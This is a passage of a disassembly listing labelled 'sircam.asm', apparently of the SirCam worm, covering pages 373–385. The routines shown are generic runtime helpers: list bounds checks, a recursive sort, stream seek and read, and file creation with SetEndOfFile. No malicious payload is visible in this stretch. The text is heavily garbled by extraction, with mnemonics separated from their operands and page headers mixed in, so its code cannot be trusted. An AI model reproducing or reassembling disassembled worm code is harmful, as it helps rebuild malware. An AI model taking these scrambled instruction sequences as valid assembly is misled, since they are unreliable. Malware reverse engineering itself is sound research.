[ebx+10h] short loc_40D606 mov mov mov call ; CODE XREF: sub_40D5D0+20\030j edx, ds:off_41DC24 ecx, esi eax, ebx sub_40CA44 mov mov ecx, edi edx, esi loc_40D5F7: loc_40D606: ; CODE XREF: sub_40D5D0+25\030j sircam.asm sub_40D5D0 Fri Aug 10 12:42:44 2001 mov call pop pop pop retn endp 373 eax, ebx sub_40D618 edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D618 proc near push push push mov mov mov mov mov call mov cmp jnz mov call ebx esi edi edi, ecx esi, edx ebx, eax eax, ebx edx, [eax] dword ptr [edx+74h] eax, [ebx+10h] eax, [ebx+14h] short loc_40D637 eax, ebx sub_40D564 mov cmp jge mov lea mov lea sub shl xchg call ; CODE XREF: sub_40D618+16\030j eax, [ebx+10h] esi, eax short loc_40D656 edx, [ebx+0Ch] edx, [edx+esi*8+8] ecx, [ebx+0Ch] ecx, [ecx+esi*8] eax, esi eax, 3 eax, ecx sub_4026B0 loc_40D637: loc_40D656: sub_40D618 ; CODE XREF: sub_40D2F0+48\030p ; sub_40D5D0+3C\030p mov lea mov xor mov xor mov mov mov call inc mov mov call pop pop pop retn endp ; CODE XREF: sub_40D618+24\030j eax, [ebx+0Ch] eax, [eax+esi*8] esi, eax eax, eax [esi], eax eax, eax [esi+4], eax eax, esi edx, edi sub_40351C dword ptr [ebx+10h] eax, ebx edx, [eax] dword ptr [edx+70h] edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_40D680 Fri Aug 10 12:42:44 2001 proc near ; DATA XREF: CODE:0040BBD4\030o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+18h], 0 jz short loc_40D69E mov edx, ds:off_41DB90 xor ecx, ecx mov eax, ebx call sub_40CA44 loc_40D69E: ; CODE XREF: sub_40D680+D\030j test jl cmp jl esi, esi short loc_40D6A7 esi, [ebx+10h] short loc_40D6B6 mov mov mov call ; CODE XREF: sub_40D680+20\030j edx, ds:off_41DC24 ecx, esi eax, ebx sub_40CA44 loc_40D6A7: loc_40D6B6: sub_40D680 374 mov mov call mov lea mov call mov mov call pop pop pop retn endp ; CODE XREF: sub_40D680+25\030j eax, ebx edx, [eax] dword ptr [edx+74h] eax, [ebx+0Ch] eax, [eax+esi*8] edx, edi sub_40351C eax, ebx edx, [eax] dword ptr [edx+70h] edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D6D8 proc near ; DATA XREF: CODE:0040BBD8\030o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax test esi, esi jl short loc_40D6EA cmp esi, [ebx+10h] jl short loc_40D6F9 loc_40D6EA: mov mov mov call ; CODE XREF: sub_40D6D8+B\030j edx, ds:off_41DC24 ecx, esi eax, ebx sub_40CA44 mov eax, ebx loc_40D6F9: ; CODE XREF: sub_40D6D8+10\030j sircam.asm sub_40D6D8 Fri Aug 10 12:42:44 2001 mov call mov mov mov mov call pop pop pop retn endp 375 edx, [eax] dword ptr [edx+74h] eax, [ebx+0Ch] [eax+esi*8+4], edi eax, ebx edx, [eax] dword ptr [edx+70h] edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40D714 proc near var_10 var_C var_8 var_4 arg_0 = = = = = dword dword dword dword dword push mov add push push mov mov mov ptr ptr ptr ptr ptr ; CODE XREF: sub_40D714+7F\031p ; sub_40D7FC+22\031p -10h -0Ch -8 -4 8 ebp ebp, esp esp, 0FFFFFFF0h ebx esi [ebp+var_C], ecx [ebp+var_8], edx [ebp+var_4], eax loc_40D725: ; CODE XREF: sub_40D714+8A\031j mov ebx, [ebp+var_8] mov esi, [ebp+var_C] mov eax, [ebp+var_8] add eax, [ebp+var_C] shr eax, 1 mov [ebp+var_10], eax jmp short loc_40D739 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D738: ; CODE XREF: sub_40D714+32\031j inc ebx loc_40D739: ; CODE XREF: sub_40D714+22\030j ; sub_40D714+6C\031j mov ecx, [ebp+var_10] mov edx, ebx mov eax, [ebp+var_4] call [ebp+arg_0] test eax, eax jl short loc_40D738 jmp short loc_40D74B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D74A: ; CODE XREF: sub_40D714+44\031j dec esi mov mov mov call ; CODE XREF: sub_40D714+34\030j ecx, [ebp+var_10] edx, esi eax, [ebp+var_4] [ebp+arg_0] loc_40D74B: sircam.asm Fri Aug 10 12:42:44 2001 376 test eax, eax jg short loc_40D74A cmp esi, ebx jl short loc_40D77E mov ecx, esi mov edx, ebx mov eax, [ebp+var_4] call sub_40D474 cmp ebx, [ebp+var_10] jnz short loc_40D774 mov [ebp+var_10], esi jmp short loc_40D77C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D774: cmp jnz mov ; CODE XREF: sub_40D714+59\030j esi, [ebp+var_10] short loc_40D77C [ebp+var_10], ebx loc_40D77C: ; CODE XREF: sub_40D714+5E\030j ; sub_40D714+63\030j inc dec ebx esi cmp jge cmp jle mov push mov mov mov call esi, ebx short loc_40D739 esi, [ebp+var_8] short loc_40D798 eax, [ebp+arg_0] eax ecx, esi edx, [ebp+var_8] eax, [ebp+var_4] sub_40D714 mov cmp jl pop pop mov pop retn endp [ebp+var_8], ebx ebx, [ebp+var_C] short loc_40D725 esi ebx esp, ebp ebp 4 loc_40D77E: ; CODE XREF: sub_40D714+48\030j loc_40D798: sub_40D714 ; CODE XREF: sub_40D714+71\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D7A8 sub_40D7A8 proc near push ebx push esi mov esi, edx mov ebx, eax mov edx, esi shl edx, 3 lea eax, [ebx+0Ch] call sub_4025C8 mov [ebx+14h], esi pop esi pop ebx retn endp ; DATA XREF: CODE:0040BBDC\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40D7C4: ; DATA XREF: CODE:0040BBE4\030o sircam.asm Fri Aug 10 12:42:44 2001 377 test dl, dl jz short loc_40D7CE mov edx, [eax] call dword ptr [edx+74h] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D7CE: mov call retn ; CODE XREF: CODE:0040D7C6\030j edx, [eax] dword ptr [edx+70h] ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D7D4 sub_40D7D4 proc near ; DATA XREF: CODE:0040D7EC\031o push ebx mov ebx, [eax+0Ch] mov ecx, [ebx+ecx*8] mov eax, [eax+0Ch] mov eax, [eax+edx*8] mov edx, ecx call sub_406E64 pop ebx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40D7EC: ; DATA XREF: CODE:0040BC30\030o mov edx, offset sub_40D7D4 mov ecx, [eax] call dword ptr [ecx+80h] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D7FC proc near ; DATA XREF: CODE:0040BC34\030o push ebx push esi mov esi, edx mov ebx, eax cmp byte ptr [ebx+18h], 0 jnz short loc_40D82A cmp dword ptr [ebx+10h], 1 jle short loc_40D82A mov eax, ebx mov edx, [eax] call dword ptr [edx+74h] push esi mov ecx, [ebx+10h] dec ecx xor edx, edx mov eax, ebx call sub_40D714 mov eax, ebx mov edx, [eax] call dword ptr [edx+70h] loc_40D82A: sub_40D7FC ; CODE XREF: sub_40D7FC+A\030j ; sub_40D7FC+10\030j pop pop retn endp esi ebx sircam.asm Fri Aug 10 12:42:44 2001 378 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D830 proc near sub_40D830 push mov xor mov call pop retn endp ; CODE XREF: sub_40CDD0+41\030p ; sub_4118CC+135\031p ... ebx cx, 1 edx, edx ebx, [eax] dword ptr [ebx+0Ch] ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D840 proc near sub_40D840 push xor mov call pop retn endp ; CODE XREF: sub_40DAC8+B\031p ; sub_415764+19\031p ebx ecx, ecx ebx, [eax] dword ptr [ebx+0Ch] ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D84C proc near sub_40D84C push push push mov mov xor mov mov call mov mov xor mov mov call mov xor mov mov mov call mov pop pop pop retn endp ; CODE XREF: sub_40CDD0+38\030p ; sub_40DAC8+12\031p ... ebx esi edi ebx, eax cx, 1 edx, edx eax, ebx esi, [eax] dword ptr [esi+0Ch] esi, eax cx, 2 edx, edx eax, ebx edi, [eax] dword ptr [edi+0Ch] edi, eax ecx, ecx edx, esi eax, ebx ebx, [eax] dword ptr [ebx+0Ch] eax, edi edi esi ebx ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] sircam.asm Fri Aug 10 12:42:44 2001 379 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D884 proc near push push push mov mov mov test jz mov mov mov mov call cmp jz mov mov mov call call ebx esi edi ebx, ecx edi, edx esi, eax ebx, ebx short loc_40D8B7 edx, edi ecx, ebx eax, esi esi, [eax] dword ptr [esi+4] ebx, eax short loc_40D8B7 ecx, ds:off_41DC54 dl, 1 eax, ds:off_40B698 sub_40950C sub_402F98 loc_40D8B7: sub_40D884 ; CODE XREF: sub_40DAC8+2C\031p ; sub_415764+28\031p ... ; CODE XREF: sub_40D884+B\030j ; sub_40D884+1A\030j pop pop pop retn endp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D8BC proc near push push push mov mov mov test jz mov mov mov mov call cmp jz mov mov mov call call ; CODE XREF: sub_40D068+32\030p ; sub_40E2A8+C\031p ... ebx esi edi ebx, ecx edi, edx esi, eax ebx, ebx short loc_40D8EF edx, edi ecx, ebx eax, esi esi, [eax] dword ptr [esi+8] ebx, eax short loc_40D8EF ecx, ds:off_41DBB4 dl, 1 eax, ds:off_40B6F0 sub_40950C sub_402F98 loc_40D8EF: ; CODE XREF: sub_40D8BC+B\030j ; sub_40D8BC+1A\030j pop pop pop edi esi ebx sircam.asm sub_40D8BC Fri Aug 10 12:42:44 2001 380 retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40D8F4: ; DATA XREF: CODE:0040BD20\030o ; CODE:0040BD8C\030o mov call cmp jnz xor eax, [eax+4] sub_4070D4 eax, 0FFFFFFFFh short locret_40D903 eax, eax locret_40D903: ; CODE XREF: CODE:0040D8FF\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D904: ; DATA XREF: CODE:0040BD24\030o ; CODE:0040BD90\030o mov call cmp jnz xor eax, [eax+4] sub_407100 eax, 0FFFFFFFFh short locret_40D913 eax, eax locret_40D913: ; CODE XREF: CODE:0040D90F\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D914: ; DATA XREF: CODE:0040BD28\030o ; CODE:0040BD94\030o movzx mov call retn ecx, cx eax, [eax+4] sub_40712C ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D920 proc near ; DATA XREF: CODE:0040BD1C\030o ; CODE:0040BD88\030o sub_40D920 push ebx push esi mov ebx, eax xor ecx, ecx mov eax, ebx mov esi, [eax] call dword ptr [esi+0Ch] mov eax, [ebx+4] push eax call j_SetEndOfFile_0 call sub_40A430 pop esi pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40D940 proc near var_C var_8 = dword ptr -0Ch = byte ptr -8 ; CODE XREF: sub_40CD7C+12\030p ; sub_40D010+15\030p ... sircam.asm var_1 arg_0 Fri Aug 10 12:42:44 2001 381 = byte ptr -1 = dword ptr 8 push mov add push push push test jz add call ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi dl, dl short loc_40D955 esp, 0FFFFFFF0h sub_402CDC loc_40D955: ; CODE XREF: sub_40D940+B\030j mov esi, ecx mov [ebp+var_1], dl mov ebx, eax mov edi, [ebp+arg_0] cmp di, 0FFFFh jnz short loc_40D99C mov eax, esi call sub_4070B0 mov edi, eax mov [ebx+4], edi test edi, edi jge short loc_40D9D3 mov [ebp+var_C], esi mov [ebp+var_8], 0Bh lea eax, [ebp+var_C] push eax push 0 mov ecx, ds:off_41DC2C mov dl, 1 mov eax, ds:off_40B58C call sub_409548 call sub_402F98 jmp short loc_40D9D3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40D99C: movzx mov call mov cmp jge mov mov lea push push mov mov mov call call ; CODE XREF: sub_40D940+24\030j edx, di eax, esi sub_407070 [ebx+4], eax dword ptr [ebx+4], 0 short loc_40D9D3 [ebp+var_C], esi [ebp+var_8], 0Bh eax, [ebp+var_C] eax 0 ecx, ds:off_41DC38 dl, 1 eax, ds:off_40B5E8 sub_409548 sub_402F98 loc_40D9D3: ; CODE XREF: sub_40D940+34\030j ; sub_40D940+5A\030j ... mov cmp jz call pop add eax, ebx [ebp+var_1], 0 short loc_40D9EA sub_402D34 large dword ptr fs:0 esp, 0Ch mov pop eax, ebx edi loc_40D9EA: ; CODE XREF: sub_40D940+99\030j sircam.asm sub_40D940 Fri Aug 10 12:42:44 2001 pop pop mov pop retn endp 382 esi ebx esp, ebp ebp 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40D9F8 proc near ; DATA XREF: CODE:0040BD84\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, [esi+4] test eax, eax jl short loc_40DA0F call sub_407138 loc_40DA0F: ; CODE XREF: sub_40D9F8+10\030j test jle mov call bl, bl short loc_40DA1A eax, esi sub_402D2C pop pop retn endp esi ebx loc_40DA1A: sub_40D9F8 ; CODE XREF: sub_40D9F8+19\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DA20 sub_40DA20 proc near mov [eax+4], edx mov [eax+8], ecx retn endp ; CODE XREF: sub_40DB54+17\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DA28 proc near push push push mov mov test jl test jl mov sub test jle cmp ebx esi edi ebx, eax edi, [ebx+0Ch] edi, edi short loc_40DA58 ecx, ecx short loc_40DA58 esi, [ebx+8] esi, edi esi, esi short loc_40DA58 ecx, esi ; DATA XREF: CODE:0040BDF4\030o ; CODE:0040BE64\030o sircam.asm Fri Aug 10 12:42:44 2001 jge mov 383 short loc_40DA47 esi, ecx loc_40DA47: ; CODE XREF: sub_40DA28+1B\030j mov eax, [ebx+4] add eax, edi mov ecx, esi call sub_4026B0 add [ebx+0Ch], esi jmp short loc_40DA5A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DA58: ; CODE XREF: sub_40DA28+A\030j ; sub_40DA28+E\030j ... xor esi, esi mov pop pop pop retn endp eax, esi edi esi ebx loc_40DA5A: sub_40DA28 ; CODE XREF: sub_40DA28+2E\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DA60: ; DATA XREF: CODE:0040BDFC\030o ; CODE:0040BE6C\030o sub cx, 1 jb short loc_40DA6F jz short loc_40DA74 dec cx jz short loc_40DA79 jmp short loc_40DA7F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DA6F: ; CODE XREF: CODE:0040DA64\030j mov [eax+0Ch], edx jmp short loc_40DA7F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DA74: ; CODE XREF: CODE:0040DA66\030j add [eax+0Ch], edx jmp short loc_40DA7F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40DA79: ; CODE XREF: CODE:0040DA6B\030j add mov edx, [eax+8] [eax+0Ch], edx loc_40DA7F: ; CODE XREF: CODE:0040DA6D\030j ; CODE:0040DA72\030j ... mov eax, [eax+0Ch] retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DA84 proc near push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, esi call sub_40DAB0 mov edx, ebx and dl, 0FCh ; DATA XREF: CODE:0040BE5C\030o sircam.asm Fri Aug 10 12:42:44 2001 mov call test jle mov call eax, esi sub_402BCC bl, bl short loc_40DAAD eax, esi sub_402D2C pop pop retn endp esi ebx loc_40DAAD: sub_40DA84 384 ; CODE XREF: sub_40DA84+20\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DAB0 sub_40DAB0 proc near push ebx mov ebx, eax xor edx, edx mov eax, ebx call sub_40DB54 xor eax, eax mov [ebx+8], eax xor eax, eax mov [ebx+0Ch], eax pop ebx retn endp ; CODE XREF: sub_40DA84+D\030p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40DAC8 proc near ; CODE XREF: sub_40DB00+2D\031p push ebx push esi push edi mov edi, edx mov esi, eax xor edx, edx mov eax, edi call sub_40D840 mov eax, edi call sub_40D84C mov ebx, eax mov edx, ebx mov eax, esi mov ecx, [eax] call dword ptr [ecx] test ebx, ebx jz short loc_40DAF9 mov edx, [esi+4] mov ecx, ebx mov eax, edi call sub_40D884 loc_40DAF9: sub_40DAC8 ; CODE XREF: sub_40DAC8+23\030j pop pop pop retn endp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 385 ; Attributes: bp-based frame sub_40DB00 proc near var_4 = dword ptr -4 push mov push push mov push mov mov mov call mov xor push push push mov mov mov call xor pop pop pop mov push ; CODE XREF: sub_412708+41\031p ebp ebp, esp ecx ebx ebx, eax 20h ecx, edx eax, ds:off_40BD3C dl, 1 